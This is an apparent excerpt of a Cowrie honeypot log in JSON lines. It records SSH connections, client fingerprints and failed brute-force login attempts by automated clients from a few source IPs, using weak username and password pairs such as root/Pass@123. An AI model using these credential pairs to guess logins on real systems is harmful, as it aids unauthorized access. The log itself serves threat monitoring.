-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:59.752660Z","src_ip":"192.109.200.78","session":"3cd2fd0a37fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:00.041579Z","src_ip":"192.109.200.78","session":"3cd2fd0a37fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:01.133008Z","src_ip":"192.109.200.78","session":"3cd2fd0a37fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38360,"dst_ip":"10.17.0.5","dst_port":22,"session":"60bfc21835c8","protocol":"ssh","message":"New connection: 192.109.200.78:38360 (10.17.0.5:22) [session: 60bfc21835c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:03.181926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:03.186270Z","src_ip":"192.109.200.78","session":"60bfc21835c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:03.270008Z","src_ip":"192.109.200.78","session":"60bfc21835c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:03.516303Z","src_ip":"192.109.200.78","session":"60bfc21835c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:04.599968Z","src_ip":"192.109.200.78","session":"60bfc21835c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38370,"dst_ip":"10.17.0.5","dst_port":22,"session":"589b3c9dee3a","protocol":"ssh","message":"New connection: 192.109.200.78:38370 (10.17.0.5:22) [session: 589b3c9dee3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:06.529179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:06.533242Z","src_ip":"192.109.200.78","session":"589b3c9dee3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:06.614659Z","src_ip":"192.109.200.78","session":"589b3c9dee3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":53370,"dst_ip":"159.203.135.109","dst_port":22,"session":"1678cd0610d0","protocol":"ssh","message":"New connection: 103.27.238.116:53370 (159.203.135.109:22) [session: 1678cd0610d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:06.733017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:06.736550Z","src_ip":"103.27.238.116","session":"1678cd0610d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123","message":"login attempt [root/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:06.857692Z","src_ip":"192.109.200.78","session":"589b3c9dee3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:07.005482Z","src_ip":"103.27.238.116","session":"1678cd0610d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kirill007","message":"login attempt [root/kirill007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:07.815260Z","src_ip":"103.27.238.116","session":"1678cd0610d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:07.943800Z","src_ip":"192.109.200.78","session":"589b3c9dee3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:09.087757Z","src_ip":"103.27.238.116","session":"1678cd0610d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38376,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fa69f5d2f94","protocol":"ssh","message":"New connection: 192.109.200.78:38376 (10.17.0.5:22) [session: 6fa69f5d2f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:09.816007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:09.820880Z","src_ip":"192.109.200.78","session":"6fa69f5d2f94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:09.901347Z","src_ip":"192.109.200.78","session":"6fa69f5d2f94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc456","message":"login attempt [root/123abc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:10.386653Z","src_ip":"192.109.200.78","session":"6fa69f5d2f94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53112,"dst_ip":"159.203.135.109","dst_port":23,"session":"004c03df7693","protocol":"telnet","message":"New connection: 172.81.62.90:53112 (159.203.135.109:23) [session: 004c03df7693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:10.567879Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:11.470517Z","src_ip":"192.109.200.78","session":"6fa69f5d2f94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59324,"dst_ip":"10.17.0.5","dst_port":22,"session":"96dd19227591","protocol":"ssh","message":"New connection: 192.109.200.78:59324 (10.17.0.5:22) [session: 96dd19227591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:13.429826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:13.433736Z","src_ip":"192.109.200.78","session":"96dd19227591","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:13.514142Z","src_ip":"192.109.200.78","session":"96dd19227591","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"abc123","message":"login attempt [admin2/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:13.765498Z","src_ip":"192.109.200.78","session":"96dd19227591","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:14.849144Z","src_ip":"192.109.200.78","session":"96dd19227591","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59332,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce4da9237177","protocol":"ssh","message":"New connection: 192.109.200.78:59332 (10.17.0.5:22) [session: ce4da9237177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:16.786797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:16.790681Z","src_ip":"192.109.200.78","session":"ce4da9237177","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:16.871577Z","src_ip":"192.109.200.78","session":"ce4da9237177","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:17.113466Z","src_ip":"192.109.200.78","session":"ce4da9237177","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:18.204193Z","src_ip":"192.109.200.78","session":"ce4da9237177","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59338,"dst_ip":"10.17.0.5","dst_port":22,"session":"2aa8dd5139aa","protocol":"ssh","message":"New connection: 192.109.200.78:59338 (10.17.0.5:22) [session: 2aa8dd5139aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:20.157975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:20.161574Z","src_ip":"192.109.200.78","session":"2aa8dd5139aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:20.242337Z","src_ip":"192.109.200.78","session":"2aa8dd5139aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"12345678","message":"login attempt [openvpn/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:20.705352Z","src_ip":"192.109.200.78","session":"2aa8dd5139aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:21.787971Z","src_ip":"192.109.200.78","session":"2aa8dd5139aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47516,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8ba010f36f4","protocol":"ssh","message":"New connection: 192.109.200.78:47516 (10.17.0.5:22) [session: a8ba010f36f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:23.794046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:23.798603Z","src_ip":"192.109.200.78","session":"a8ba010f36f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:23.881083Z","src_ip":"192.109.200.78","session":"a8ba010f36f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"CatCult2025!","message":"login attempt [root/CatCult2025!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:24.130077Z","src_ip":"192.109.200.78","session":"a8ba010f36f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:25.219248Z","src_ip":"192.109.200.78","session":"a8ba010f36f4","protocol":"ssh"}
